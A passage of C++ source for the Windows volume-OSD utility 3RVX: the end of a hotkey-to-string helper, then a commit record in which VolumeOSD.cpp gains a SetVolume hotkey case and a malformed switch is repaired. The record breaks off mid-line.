{\n case VK_MENU:\n case VK_LMENU:\n case VK_RMENU:\n return HKM_MOD_ALT;\n\n case VK_CONTROL:\n case VK_LCONTROL:\n case VK_RCONTROL:\n return HKM_MOD_CTRL;\n\n case VK_SHIFT:\n case VK_LSHIFT:\n case VK_RSHIFT:\n return HKM_MOD_SHF;\n\n case VK_LWIN:\n case VK_RWIN:\n return HKM_MOD_WIN;\n }\n\n return 0;\n}\n\nbool HotkeyManager::IsMouseKey(int vk) {\n if (vk < 0x07 && vk != VK_CANCEL) {\n return true;\n }\n\n if (vk & (0xF << MOUSE_OFFSET)) {\n \/* Has wheel or xbutton flags *\/\n return true;\n }\n\n return false;\n}\n\nint HotkeyManager::Modifiers() {\n int mods = 0;\n mods += (GetKeyState(VK_MENU) & 0x8000) << 1;\n mods += (GetKeyState(VK_CONTROL) & 0x8000) << 2;\n mods += (GetKeyState(VK_SHIFT) & 0x8000) << 3;\n mods += (GetKeyState(VK_LWIN) & 0x8000) << 4;\n mods += (GetKeyState(VK_RWIN) & 0x8000) << 4;\n return mods;\n}\n\nint HotkeyManager::ModifiersAsync() {\n int mods = 0;\n mods += (GetAsyncKeyState(VK_MENU) & 0x8000) << 1;\n mods += (GetAsyncKeyState(VK_CONTROL) & 0x8000) << 2;\n mods += (GetAsyncKeyState(VK_SHIFT) & 0x8000) << 3;\n mods += (GetAsyncKeyState(VK_LWIN) & 0x8000) << 4;\n mods += (GetAsyncKeyState(VK_RWIN) & 0x8000) << 4;\n return mods;\n}\n\nstd::wstring HotkeyManager::HotkeysToModString(int combination,\n std::wstring separator) {\n\n std::wstring str = L\"\";\n if (combination & HKM_MOD_ALT) {\n str += VKToString(VK_MENU) + separator;\n }\n if (combination & HKM_MOD_CTRL) {\n str += VKToString(VK_CONTROL) + separator;\n }\n if (combination & HKM_MOD_SHF) {\n str += VKToString(VK_SHIFT) + separator;\n }\n if (combination & HKM_MOD_WIN) {\n str += L\"Win\" + separator;\n }\n\n return str;\n}\n\nstd::wstring HotkeyManager::HotkeysToString(int combination,\n std::wstring separator) {\n\n std::wstring mods = HotkeysToModString(combination, separator);\n int vk = combination & 0xFF;\n\n std::wstring str;\n if (IsMouseKey(vk)) {\n str = MouseString(combination);\n } else {\n bool ext = (combination & 0x100) > 0;\n str = VKToString(vk, ext);\n }\n\n return mods + str;\n}\n\nstd::wstring HotkeyManager::MouseString(int combination) {\n int vk = combination & 0xFF;\n if (vk > 0) {\n switch (vk) {\n case VK_LBUTTON:\n return L\"Mouse 1\";\n case VK_RBUTTON:\n return L\"Mouse 2\";\n case VK_MBUTTON:\n return L\"Mouse 3\";\n }\n }\n\n int flags = combination & (0xF << MOUSE_OFFSET);\n if (flags == HKM_MOUSE_XB1) {\n return L\"Mouse 4\";\n } else if (flags == HKM_MOUSE_XB2) {\n return L\"Mouse 5\";\n } else if (flags == HKM_MOUSE_WHUP) {\n return L\"Mouse Wheel Up\";\n } else if (flags == HKM_MOUSE_WHDN) {\n return L\"Mouse Wheel Down\";\n }\n\n return L\"\";\n}\n\nstd::wstring HotkeyManager::VKToString(unsigned int vk, bool extendedKey) {\n if (_vkStringMap.find(vk) != _vkStringMap.end()) {\n return _vkStringMap[vk];\n }\n\n if (\n vk == 0x03 \/* break *\/\n || (vk >= 0x21 && vk <= 0x2f) \/* arrow keys, home\/insert\/del, etc *\/\n || (vk >= 0x5b && vk <= 0x5d) \/* win, app keys (natural keyboard) *\/\n || (vk == 0x90) \/* num lock *\/\n ) {\n extendedKey = true;\n }\n\n \/* GetKeyNameText expects the following:\n * 16-23: scan code\n * 24: extended key flag\n * 25: 'do not care' bit (don't distinguish between L\/R keys) *\/\n unsigned int scanCode;\n if (vk == VK_PAUSE)\n scanCode = 0x45; \/* MapVirtualKey is unable to map VK_PAUSE (this is a known bug), hence we map that by hand. *\/\n else\n scanCode = MapVirtualKey(vk, MAPVK_VK_TO_VSC);\n scanCode = scanCode << 16;\n\n if (vk == VK_RSHIFT) {\n \/* For some reason, the right shift key ends up having its extended\n * key flag set and confuses GetKeyNameText. *\/\n extendedKey = false;\n }\n\n int extended = extendedKey ? 0x1 : 0x0;\n scanCode |= extended << 24;\n\n wchar_t buf[256] = {};\n GetKeyNameText(scanCode, buf, 256);\n return std::wstring(buf);\n}\n\nvoid HotkeyManager::VKStringTest() {\n for (unsigned int i = 0; i < 0xFF; ++i) {\n CLOG(L\"%02x - %s\", i, VKToString(i).c_str());\n }\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"VolumeOSD.h\"\n\n#include \"..\\SoundPlayer.h\"\n\n#include <string>\n\n#include \"..\\HotkeyInfo.h\"\n#include \"..\\MeterWnd\\Meters\\CallbackMeter.h\"\n#include \"..\\Monitor.h\"\n#include \"..\\Skin.h\"\n#include \"..\\SkinManager.h\"\n#include \"..\\Slider\\VolumeSlider.h\"\n#include \"..\\MeterWnd\\LayeredWnd.h\"\n\n#define MENU_SETTINGS 0\n#define MENU_MIXER 1\n#define MENU_EXIT 2\n#define MENU_DEVICE 0xF000\n\nVolumeOSD::VolumeOSD() :\nOSD(L\"3RVX-VolumeDispatcher\"),\n_mWnd(L\"3RVX-VolumeOSD\", L\"3RVX-VolumeOSD\"),\n_muteWnd(L\"3RVX-MuteOSD\", L\"3RVX-MuteOSD\") {\n\n LoadSkin();\n Settings *settings = Settings::Instance();\n\n \/* Start the volume controller *\/\n _volumeCtrl = new CoreAudio(_hWnd);\n std::wstring device = settings->AudioDeviceID();\n _volumeCtrl->Init(device);\n _selectedDesc = _volumeCtrl->DeviceDesc();\n\n \/* Set up volume state variables *\/\n _lastVolume = _volumeCtrl->Volume();\n _muted = _volumeCtrl->Muted();\n\n if (settings->SoundEffectsEnabled()) {\n _sounds = true;\n }\n\n \/* Create the slider *\/\n _volumeSlider = new VolumeSlider(*_volumeCtrl);\n\n \/* Set up context menu *\/\n if (settings->NotifyIconEnabled()) {\n _menu = CreatePopupMenu();\n _deviceMenu = CreatePopupMenu();\n\n InsertMenu(_menu, -1, MF_ENABLED, MENU_SETTINGS, L\"Settings\");\n InsertMenu(_menu, -1, MF_POPUP, UINT(_deviceMenu), L\"Audio Device\");\n InsertMenu(_menu, -1, MF_ENABLED, MENU_MIXER, L\"Mixer\");\n InsertMenu(_menu, -1, MF_ENABLED, MENU_EXIT, L\"Exit\");\n\n _menuFlags = TPM_RIGHTBUTTON;\n if (GetSystemMetrics(SM_MENUDROPALIGNMENT) != 0) {\n _menuFlags |= TPM_RIGHTALIGN;\n } else {\n _menuFlags |= TPM_LEFTALIGN;\n }\n\n UpdateDeviceMenu();\n }\n\n _mWnd.AlwaysOnTop(settings->AlwaysOnTop());\n _mWnd.HideAnimation(settings->HideAnim(), settings->HideSpeed());\n _mWnd.VisibleDuration(settings->HideDelay());\n\n _muteWnd.AlwaysOnTop(settings->AlwaysOnTop());\n _muteWnd.HideAnimation(settings->HideAnim(), settings->HideSpeed());\n _muteWnd.VisibleDuration(settings->HideDelay());\n\n UpdateIcon();\n float v = _volumeCtrl->Volume();\n MeterLevels(v);\n _volumeSlider->MeterLevels(v);\n\n \/* TODO: check whether we should show the OSD on startup or not. If so, post\n * a MSG_VOL_CHNG so that the volume level (or mute) is displayed: *\/\n SendMessage(_hWnd, MSG_VOL_CHNG, NULL, (LPARAM) 1);\n}\n\nVolumeOSD::~VolumeOSD() {\n DestroyMenu(_deviceMenu);\n DestroyMenu(_menu);\n delete _icon;\n delete _volumeSlider;\n delete _callbackMeter;\n _volumeCtrl->Dispose();\n}\n\nvoid VolumeOSD::UpdateDeviceMenu() {\n if (_menu == NULL || _deviceMenu == NULL) {\n return;\n }\n\n \/* Remove any devices currently in the menu first *\/\n for (unsigned int i = 0; i < _deviceList.size(); ++i) {\n RemoveMenu(_deviceMenu, 0, MF_BYPOSITION);\n }\n _deviceList.clear();\n\n std::list<VolumeController::DeviceInfo> devices\n = _volumeCtrl->ListDevices();\n std::wstring currentDeviceId = _volumeCtrl->DeviceId();\n\n int menuItem = MENU_DEVICE;\n for (VolumeController::DeviceInfo device : devices) {\n unsigned int flags = MF_ENABLED;\n if (currentDeviceId == device.id) {\n flags |= MF_CHECKED;\n }\n\n InsertMenu(_deviceMenu, -1, flags, menuItem++, device.name.c_str());\n _deviceList.push_back(device);\n }\n}\n\nvoid VolumeOSD::LoadSkin() {\n Settings *settings = Settings::Instance();\n Skin *skin = SkinManager::Instance()->CurrentSkin();\n\n \/* Volume OSD *\/\n \/* TODO: should make sure this isn't NULL! *\/\n _mWnd.BackgroundImage(skin->volumeBackground);\n\n if (skin->volumeMask != NULL) {\n _mWnd.EnableGlass(skin->volumeMask);\n }\n\n for (Meter *m : skin->volumeMeters) {\n _mWnd.AddMeter(m);\n }\n\n \/* Add a callback meter with the default volume increment for sounds *\/\n _callbackMeter = new CallbackMeter(\n skin->DefaultVolumeUnits(), *this);\n _mWnd.AddMeter(_callbackMeter);\n\n \/* Default volume increment *\/\n _defaultIncrement = (float) (10000 \/ skin->DefaultVolumeUnits()) \/ 10000.0f;\n CLOG(L\"Default volume increment: %f\", _defaultIncrement);\n\n _mWnd.Update();\n\n \/* Mute OSD *\/\n \/* TODO: NULL check*\/\n _muteWnd.BackgroundImage(skin->muteBackground);\n\n if (skin->muteMask != NULL) {\n _muteWnd.EnableGlass(skin->muteMask);\n }\n _muteWnd.Update();\n\n \/* Create clones for additional monitors *\/\n std::vector<Monitor> monitors = ActiveMonitors();\n for (unsigned int i = 1; i < monitors.size(); ++i) {\n _mWnd.Clone();\n _muteWnd.Clone();\n }\n UpdateWindowPositions(monitors);\n\n \/* Set up notification icon *\/\n if (settings->NotifyIconEnabled()) {\n _iconImages = skin->volumeIconset;\n if (_iconImages.size() > 0) {\n _icon = new NotifyIcon(_hWnd, L\"3RVX\", _iconImages[0]);\n }\n }\n\n \/* Enable sound effects, if any *\/\n if (settings->SoundEffectsEnabled()) {\n if (skin->volumeSound) {\n _soundPlayer = skin->volumeSound;\n }\n }\n}\n\nvoid VolumeOSD::MeterLevels(float level) {\n _mWnd.MeterLevels(level);\n _mWnd.Update();\n}\n\nvoid VolumeOSD::MeterChangeCallback(int units) {\n if (_soundPlayer) {\n _soundPlayer->Play();\n }\n}\n\nvoid VolumeOSD::Hide() {\n _mWnd.Hide(false);\n _muteWnd.Hide(false);\n}\n\nvoid VolumeOSD::HideIcon() {\n delete _icon;\n}\n\nvoid VolumeOSD::UpdateIcon() {\n UpdateIconImage();\n UpdateIconTip();\n}\n\nvoid VolumeOSD::UpdateIconImage() {\n if (_icon == NULL) {\n return;\n }\n\n int icon = 0;\n if (_volumeCtrl->Muted() == false) {\n int vUnits = _iconImages.size() - 1;\n icon = (int) ceil(_volumeCtrl->Volume() * vUnits);\n }\n\n if (icon != _lastIcon) {\n _icon->UpdateIcon(_iconImages[icon]);\n _lastIcon = icon;\n }\n}\n\nvoid VolumeOSD::UpdateIconTip() {\n if (_icon == NULL) {\n return;\n }\n\n if (_volumeCtrl->Muted()) {\n _icon->UpdateToolTip(_selectedDesc + L\": Muted\");\n } else {\n float v = _volumeCtrl->Volume();\n std::wstring perc = std::to_wstring((int) (v * 100.0f));\n std::wstring level = _selectedDesc + L\": \" + perc + L\"%\";\n _icon->UpdateToolTip(level);\n }\n}\n\nvoid VolumeOSD::UnMute() {\n if (_volumeCtrl->Muted() == true) {\n _volumeCtrl->Muted(false);\n }\n}\n\nvoid VolumeOSD::ProcessHotkeys(HotkeyInfo &hki) {\n switch (hki.action) {\n case HotkeyInfo::IncreaseVolume:\n case HotkeyInfo::DecreaseVolume:\n UnMute();\n ProcessVolumeHotkeys(hki);\n break;\n }\n _volumeCtrl->Volume(\n (float) (currentUnit + unitIncrement) * _defaultIncrement);\n SendMessage(_hWnd, MSG_VOL_CHNG, NULL, (LPARAM) 1);\n break;\n\n case HotkeyInfo::Mute:\n _volumeCtrl->ToggleMute();\n SendMessage(_hWnd, MSG_VOL_CHNG, NULL, (LPARAM) 1);\n break;\n\n case HotkeyInfo::VolumeSlider:\n if (_volumeSlider->Visible()) {\n \/* If the slider is already visible, user must want to close it. *\/\n _volumeSlider->Hide();\n } else {\n SendMessage(_hWnd, MSG_NOTIFYICON, NULL, WM_LBUTTONUP);\n }\n break;\n }\n}\n\nvoid VolumeOSD::ProcessVolumeHotkeys(HotkeyInfo &hki) {\n float currentVol = _volumeCtrl->Volume();\n HotkeyInfo::VolumeKeyArgTypes type = HotkeyInfo::VolumeArgType(hki);\n\n if (type == HotkeyInfo::VolumeKeyArgTypes::Percentage) {\n \/* Deal with percentage-based amounts *\/\n float amount = (hki.ArgToDouble(0) \/ 100.0f);\n if (hki.action == HotkeyInfo::HotkeyActions::DecreaseVolume) {\n amount = -amount;\n }\n _volumeCtrl->Volume(currentVol + amount);\n } else {\n \/* Unit-based amounts *\/\n int unitIncrement = 1;\n int currentUnit = _callbackMeter->CalcUnits();\n if (currentVol <= 0.000001f) {\n currentUnit = 0;\n }\n\n if (hki.action == HotkeyInfo::DecreaseVolume) {\n unitIncrement = -1;\n }\n\n if (type == HotkeyInfo::VolumeKeyArgTypes::Units) {\n unitIncrement *= hki.ArgToInt(0);\n }\n\n _volumeCtrl->Volume(\n (float) (currentUnit + unitIncrement) * _defaultIncrement);\n }\n\n \/* Tell 3RVX that we changed the volume *\/\n SendMessage(_hWnd, MSG_VOL_CHNG, NULL, (LPARAM) 1);\n}\n\nvoid VolumeOSD::UpdateWindowPositions(std::vector<Monitor> &monitors) {\n PositionWindow(monitors[0], _mWnd);\n PositionWindow(monitors[0], _muteWnd);\n\n std::vector<LayeredWnd *> meterClones = _mWnd.Clones();\n std::vector<LayeredWnd *> muteClones = _muteWnd.Clones();\n for (unsigned int i = 1; i < monitors.size(); ++i) {\n PositionWindow(monitors[i], *meterClones[i - 1]);\n PositionWindow(monitors[i], *muteClones[i - 1]);\n }\n}\n\nvoid VolumeOSD::UpdateVolumeState() {\n float v = _volumeCtrl->Volume();\n MeterLevels(v);\n _volumeSlider->MeterLevels(v);\n UpdateIcon();\n}\n\nLRESULT\nVolumeOSD::WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) {\n if (message == MSG_VOL_CHNG) {\n float v = _volumeCtrl->Volume();\n bool muteState = _volumeCtrl->Muted();\n\n _volumeSlider->MeterLevels(v);\n UpdateIcon();\n\n if (wParam > 0) {\n \/* We manually post a MSG_VOL_CHNG when modifying the volume with\n * hotkeys, so this CoreAudio-generated event can be ignored\n * by the OSD. *\/\n CLOG(L\"Ignoring volume change notification generated by 3RVX\");\n return DefWindowProc(hWnd, message, wParam, lParam);\n }\n\n CLOG(L\"Volume change notification:\\nNew level: %f\\nPrevious: %f\",\n v, _lastVolume);\n if (lParam == 0 && (muteState == _muted)) {\n if (abs(v - _lastVolume) < 0.0001f) {\n CLOG(L\"No change in volume detected; ignoring event.\");\n return DefWindowProc(hWnd, message, wParam, lParam);\n }\n }\n _lastVolume = v;\n _muted = muteState;\n\n if (_volumeSlider->Visible() == false) {\n if (_volumeCtrl->Muted() || v == 0.0f) {\n _muteWnd.Show();\n _mWnd.Hide(false);\n } else {\n MeterLevels(v);\n _mWnd.Show();\n _muteWnd.Hide(false);\n }\n HideOthers(Volume);\n }\n\n } else if (message == MSG_VOL_DEVCHNG) {\n CLOG(L\"Volume device change detected.\");\n if (_selectedDevice == L\"\") {\n _volumeCtrl->SelectDefaultDevice();\n } else {\n HRESULT hr = _volumeCtrl->SelectDevice(_selectedDevice);\n if (FAILED(hr)) {\n _volumeCtrl->SelectDefaultDevice();\n }\n }\n _selectedDesc = _volumeCtrl->DeviceDesc();\n UpdateDeviceMenu();\n UpdateVolumeState();\n\n } else if (message == MSG_NOTIFYICON) {\n if (lParam == WM_LBUTTONUP) {\n _volumeSlider->MeterLevels(_volumeCtrl->Volume());\n _volumeSlider->Show();\n } else if (lParam == WM_RBUTTONUP) {\n POINT p;\n GetCursorPos(&p);\n SetForegroundWindow(hWnd);\n TrackPopupMenuEx(_menu, _menuFlags, p.x, p.y, _hWnd, NULL);\n PostMessage(hWnd, WM_NULL, 0, 0);\n }\n\n } else if (message == WM_COMMAND) {\n int menuItem = LOWORD(wParam);\n switch (menuItem) {\n case MENU_SETTINGS:\n Settings::LaunchSettingsApp();\n break;\n\n case MENU_MIXER: {\n CLOG(L\"Menu: Mixer\");\n HINSTANCE code = ShellExecute(NULL, L\"open\", L\"sndvol\",\n NULL, NULL, SW_SHOWNORMAL);\n break;\n }\n\n case MENU_EXIT:\n CLOG(L\"Menu: Exit: %d\", (int) _masterWnd);\n SendMessage(_masterWnd, WM_CLOSE, NULL, NULL);\n break;\n }\n\n \/* Device menu items *\/\n if ((menuItem & MENU_DEVICE) > 0) {\n int device = menuItem & 0x0FFF;\n VolumeController::DeviceInfo selectedDev = _deviceList[device];\n if (selectedDev.id != _volumeCtrl->DeviceId()) {\n \/* A different device has been selected *\/\n CLOG(L\"Changing to volume device: %s\",\n selectedDev.name.c_str());\n _volumeCtrl->SelectDevice(selectedDev.id);\n UpdateDeviceMenu();\n UpdateVolumeState();\n }\n }\n }\n\n return DefWindowProc(hWnd, message, wParam, lParam);\n}<commit_msg>Implement SetVolume hotkey<commit_after>#include \"VolumeOSD.h\"\n\n#include \"..\\SoundPlayer.h\"\n\n#include <string>\n\n#include \"..\\HotkeyInfo.h\"\n#include \"..\\MeterWnd\\Meters\\CallbackMeter.h\"\n#include \"..\\Monitor.h\"\n#include \"..\\Skin.h\"\n#include \"..\\SkinManager.h\"\n#include \"..\\Slider\\VolumeSlider.h\"\n#include \"..\\MeterWnd\\LayeredWnd.h\"\n\n#define MENU_SETTINGS 0\n#define MENU_MIXER 1\n#define MENU_EXIT 2\n#define MENU_DEVICE 0xF000\n\nVolumeOSD::VolumeOSD() :\nOSD(L\"3RVX-VolumeDispatcher\"),\n_mWnd(L\"3RVX-VolumeOSD\", L\"3RVX-VolumeOSD\"),\n_muteWnd(L\"3RVX-MuteOSD\", L\"3RVX-MuteOSD\") {\n\n LoadSkin();\n Settings *settings = Settings::Instance();\n\n \/* Start the volume controller *\/\n _volumeCtrl = new CoreAudio(_hWnd);\n std::wstring device = settings->AudioDeviceID();\n _volumeCtrl->Init(device);\n _selectedDesc = _volumeCtrl->DeviceDesc();\n\n \/* Set up volume state variables *\/\n _lastVolume = _volumeCtrl->Volume();\n _muted = _volumeCtrl->Muted();\n\n if (settings->SoundEffectsEnabled()) {\n _sounds = true;\n }\n\n \/* Create the slider *\/\n _volumeSlider = new VolumeSlider(*_volumeCtrl);\n\n \/* Set up context menu *\/\n if (settings->NotifyIconEnabled()) {\n _menu = CreatePopupMenu();\n _deviceMenu = CreatePopupMenu();\n\n InsertMenu(_menu, -1, MF_ENABLED, MENU_SETTINGS, L\"Settings\");\n InsertMenu(_menu, -1, MF_POPUP, UINT(_deviceMenu), L\"Audio Device\");\n InsertMenu(_menu, -1, MF_ENABLED, MENU_MIXER, L\"Mixer\");\n InsertMenu(_menu, -1, MF_ENABLED, MENU_EXIT, L\"Exit\");\n\n _menuFlags = TPM_RIGHTBUTTON;\n if (GetSystemMetrics(SM_MENUDROPALIGNMENT) != 0) {\n _menuFlags |= TPM_RIGHTALIGN;\n } else {\n _menuFlags |= TPM_LEFTALIGN;\n }\n\n UpdateDeviceMenu();\n }\n\n _mWnd.AlwaysOnTop(settings->AlwaysOnTop());\n _mWnd.HideAnimation(settings->HideAnim(), settings->HideSpeed());\n _mWnd.VisibleDuration(settings->HideDelay());\n\n _muteWnd.AlwaysOnTop(settings->AlwaysOnTop());\n _muteWnd.HideAnimation(settings->HideAnim(), settings->HideSpeed());\n _muteWnd.VisibleDuration(settings->HideDelay());\n\n UpdateIcon();\n float v = _volumeCtrl->Volume();\n MeterLevels(v);\n _volumeSlider->MeterLevels(v);\n\n \/* TODO: check whether we should show the OSD on startup or not. If so, post\n * a MSG_VOL_CHNG so that the volume level (or mute) is displayed: *\/\n SendMessage(_hWnd, MSG_VOL_CHNG, NULL, (LPARAM) 1);\n}\n\nVolumeOSD::~VolumeOSD() {\n DestroyMenu(_deviceMenu);\n DestroyMenu(_menu);\n delete _icon;\n delete _volumeSlider;\n delete _callbackMeter;\n _volumeCtrl->Dispose();\n}\n\nvoid VolumeOSD::UpdateDeviceMenu() {\n if (_menu == NULL || _deviceMenu == NULL) {\n return;\n }\n\n \/* Remove any devices currently in the menu first *\/\n for (unsigned int i = 0; i < _deviceList.size(); ++i) {\n RemoveMenu(_deviceMenu, 0, MF_BYPOSITION);\n }\n _deviceList.clear();\n\n std::list<VolumeController::DeviceInfo> devices\n = _volumeCtrl->ListDevices();\n std::wstring currentDeviceId = _volumeCtrl->DeviceId();\n\n int menuItem = MENU_DEVICE;\n for (VolumeController::DeviceInfo device : devices) {\n unsigned int flags = MF_ENABLED;\n if (currentDeviceId == device.id) {\n flags |= MF_CHECKED;\n }\n\n InsertMenu(_deviceMenu, -1, flags, menuItem++, device.name.c_str());\n _deviceList.push_back(device);\n }\n}\n\nvoid VolumeOSD::LoadSkin() {\n Settings *settings = Settings::Instance();\n Skin *skin = SkinManager::Instance()->CurrentSkin();\n\n \/* Volume OSD *\/\n \/* TODO: should make sure this isn't NULL! *\/\n _mWnd.BackgroundImage(skin->volumeBackground);\n\n if (skin->volumeMask != NULL) {\n _mWnd.EnableGlass(skin->volumeMask);\n }\n\n for (Meter *m : skin->volumeMeters) {\n _mWnd.AddMeter(m);\n }\n\n \/* Add a callback meter with the default volume increment for sounds *\/\n _callbackMeter = new CallbackMeter(\n skin->DefaultVolumeUnits(), *this);\n _mWnd.AddMeter(_callbackMeter);\n\n \/* Default volume increment *\/\n _defaultIncrement = (float) (10000 \/ skin->DefaultVolumeUnits()) \/ 10000.0f;\n CLOG(L\"Default volume increment: %f\", _defaultIncrement);\n\n _mWnd.Update();\n\n \/* Mute OSD *\/\n \/* TODO: NULL check*\/\n _muteWnd.BackgroundImage(skin->muteBackground);\n\n if (skin->muteMask != NULL) {\n _muteWnd.EnableGlass(skin->muteMask);\n }\n _muteWnd.Update();\n\n \/* Create clones for additional monitors *\/\n std::vector<Monitor> monitors = ActiveMonitors();\n for (unsigned int i = 1; i < monitors.size(); ++i) {\n _mWnd.Clone();\n _muteWnd.Clone();\n }\n UpdateWindowPositions(monitors);\n\n \/* Set up notification icon *\/\n if (settings->NotifyIconEnabled()) {\n _iconImages = skin->volumeIconset;\n if (_iconImages.size() > 0) {\n _icon = new NotifyIcon(_hWnd, L\"3RVX\", _iconImages[0]);\n }\n }\n\n \/* Enable sound effects, if any *\/\n if (settings->SoundEffectsEnabled()) {\n if (skin->volumeSound) {\n _soundPlayer = skin->volumeSound;\n }\n }\n}\n\nvoid VolumeOSD::MeterLevels(float level) {\n _mWnd.MeterLevels(level);\n _mWnd.Update();\n}\n\nvoid VolumeOSD::MeterChangeCallback(int units) {\n if (_soundPlayer) {\n _soundPlayer->Play();\n }\n}\n\nvoid VolumeOSD::Hide() {\n _mWnd.Hide(false);\n _muteWnd.Hide(false);\n}\n\nvoid VolumeOSD::HideIcon() {\n delete _icon;\n}\n\nvoid VolumeOSD::UpdateIcon() {\n UpdateIconImage();\n UpdateIconTip();\n}\n\nvoid VolumeOSD::UpdateIconImage() {\n if (_icon == NULL) {\n return;\n }\n\n int icon = 0;\n if (_volumeCtrl->Muted() == false) {\n int vUnits = _iconImages.size() - 1;\n icon = (int) ceil(_volumeCtrl->Volume() * vUnits);\n }\n\n if (icon != _lastIcon) {\n _icon->UpdateIcon(_iconImages[icon]);\n _lastIcon = icon;\n }\n}\n\nvoid VolumeOSD::UpdateIconTip() {\n if (_icon == NULL) {\n return;\n }\n\n if (_volumeCtrl->Muted()) {\n _icon->UpdateToolTip(_selectedDesc + L\": Muted\");\n } else {\n float v = _volumeCtrl->Volume();\n std::wstring perc = std::to_wstring((int) (v * 100.0f));\n std::wstring level = _selectedDesc + L\": \" + perc + L\"%\";\n _icon->UpdateToolTip(level);\n }\n}\n\nvoid VolumeOSD::UnMute() {\n if (_volumeCtrl->Muted() == true) {\n _volumeCtrl->Muted(false);\n }\n}\n\nvoid VolumeOSD::ProcessHotkeys(HotkeyInfo &hki) {\n switch (hki.action) {\n case HotkeyInfo::IncreaseVolume:\n case HotkeyInfo::DecreaseVolume:\n UnMute();\n ProcessVolumeHotkeys(hki);\n break;\n\n case HotkeyInfo::SetVolume: {\n HotkeyInfo::VolumeKeyArgTypes type = HotkeyInfo::VolumeArgType(hki);\n if (type == HotkeyInfo::VolumeKeyArgTypes::NoArgs) {\n return;\n } else if (type == HotkeyInfo::VolumeKeyArgTypes::Units) {\n int numUnits = hki.ArgToInt(0);\n _volumeCtrl->Volume(numUnits * _defaultIncrement);\n } else if (type == HotkeyInfo::VolumeKeyArgTypes::Percentage) {\n double perc = hki.ArgToDouble(0);\n _volumeCtrl->Volume((float) perc);\n }\n }\n\n SendMessage(_hWnd, MSG_VOL_CHNG, NULL, (LPARAM) 1);\n break;\n\n case HotkeyInfo::Mute:\n _volumeCtrl->ToggleMute();\n SendMessage(_hWnd, MSG_VOL_CHNG, NULL, (LPARAM) 1);\n break;\n\n case HotkeyInfo::VolumeSlider:\n if (_volumeSlider->Visible()) {\n \/* If the slider is already visible, user must want to close it. *\/\n _volumeSlider->Hide();\n } else {\n SendMessage(_hWnd, MSG_NOTIFYICON, NULL, WM_LBUTTONUP);\n }\n break;\n }\n}\n\nvoid VolumeOSD::ProcessVolumeHotkeys(HotkeyInfo &hki) {\n float currentVol = _volumeCtrl->Volume();\n HotkeyInfo::VolumeKeyArgTypes type = HotkeyInfo::VolumeArgType(hki);\n\n if (type == HotkeyInfo::VolumeKeyArgTypes::Percentage) {\n \/* Deal with percentage-based amounts *\/\n float amount = (hki.ArgToDouble(0) \/ 100.0f);\n if (hki.action == HotkeyInfo::HotkeyActions::DecreaseVolume) {\n amount = -amount;\n }\n _volumeCtrl->Volume(currentVol + amount);\n } else {\n \/* Unit-based amounts *\/\n int unitIncrement = 1;\n int currentUnit = _callbackMeter->CalcUnits();\n if (currentVol <= 0.000001f) {\n currentUnit = 0;\n }\n\n if (hki.action == HotkeyInfo::DecreaseVolume) {\n unitIncrement = -1;\n }\n\n if (type == HotkeyInfo::VolumeKeyArgTypes::Units) {\n unitIncrement *= hki.ArgToInt(0);\n }\n\n _volumeCtrl->Volume(\n (float) (currentUnit + unitIncrement) * _defaultIncrement);\n }\n\n \/* Tell 3RVX that we changed the volume *\/\n SendMessage(_hWnd, MSG_VOL_CHNG, NULL, (LPARAM) 1);\n}\n\nvoid VolumeOSD::UpdateWindowPositions(std::vector<Monitor> &monitors) {\n PositionWindow(monitors[0], _mWnd);\n PositionWindow(monitors[0], _muteWnd);\n\n std::vector<LayeredWnd *> meterClones = _mWnd.Clones();\n std::vector<LayeredWnd *> muteClones = _muteWnd.Clones();\n for (unsigned int i = 1; i < monitors.size(); ++i) {\n PositionWindow(monitors[i], *meterClones[i - 1]);\n PositionWindow(monitors[i], *muteClones[i - 1]);\n }\n}\n\nvoid VolumeOSD::UpdateVolumeState() {\n float v = _volumeCtrl->Volume();\n MeterLevels(v);\n _volumeSlider->MeterLevels(v);\n UpdateIcon();\n}\n\nLRESULT\nVolumeOSD::WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) {\n if (message == MSG_VOL_CHNG) {\n float v = _volumeCtrl->Volume();\n bool muteState = _volumeCtrl->Muted();\n\n _volumeSlider->MeterLevels(v);\n UpdateIcon();\n\n if (wParam > 0) {\n \/* We manually post a MSG_VOL_CHNG when modifying the volume with\n * hotkeys, so this CoreAudio-generated event can be ignored\n * by the OSD. *\/\n CLOG(L\"Ignoring volume change notification generated by 3RVX\");\n return DefWindowProc(hWnd, message, wParam, lParam);\n }\n\n CLOG(L\"Volume change notification:\\nNew level: %f\\nPrevious: %f\",\n v, _lastVolume);\n if (lParam == 0 && (muteState == _muted)) {\n if (abs(v - _lastVolume) < 0.0001f) {\n CLOG(L\"No change in volume detected; ignoring event.\");\n return DefWindowProc(hWnd, message, wParam, lParam);\n }\n }\n _lastVolume = v;\n _muted = muteState;\n\n if (_volumeSlider->Visible() == false) {\n if (_volumeCtrl->Muted() || v == 0.0f) {\n _muteWnd.Show();\n _mWnd.Hide(false);\n } else {\n MeterLevels(v);\n _mWnd.Show();\n _muteWnd.Hide(false);\n }\n HideOthers(Volume);\n }\n\n } else if (message == MSG_VOL_DEVCHNG) {\n CLOG(L\"Volume device change detected.\");\n if (_selectedDevice == L\"\") {\n _volumeCtrl->SelectDefaultDevice();\n } else {\n HRESULT hr = _volumeCtrl->SelectDevice(_selectedDevice);\n if (FAILED(hr)) {\n _volumeCtrl->SelectDefaultDevice();\n }\n }\n _selectedDesc = _volumeCtrl->DeviceDesc();\n UpdateDeviceMenu();\n UpdateVolumeState();\n\n } else if (message == MSG_NOTIFYICON) {\n if (lParam == WM_LBUTTONUP) {\n _volumeSlider->MeterLevels(_volumeCtrl->Volume());\n _volumeSlider->Show();\n } else if (lParam == WM_RBUTTONUP) {\n POINT p;\n GetCursorPos(&p);\n SetForegroundWindow(hWnd);\n TrackPopupMenuEx(_menu, _menuFlags, p.x, p.y, _hWnd, NULL);\n PostMessage(hWnd, WM_NULL, 0, 0);\n }\n\n } else if (message == WM_COMMAND) {\n int menuItem = LOWORD(wParam);\n switch (menuItem) {\n case MENU_SETTINGS:\n Settings::LaunchSettingsApp();\n break;\n\n case MENU_MIXER: {\n CLOG(L\"Menu: Mixer\");\n HINSTANCE code = ShellExecute(NULL, L\"open\", L\"sndvol\",\n NULL, NULL, SW_SHOWNORMAL);\n break;\n }\n\n case MENU_EXIT:\n CLOG(L\"Menu: Exit: %d\", (int) _masterWnd);\n SendMessage(_masterWnd, WM_CLOSE, 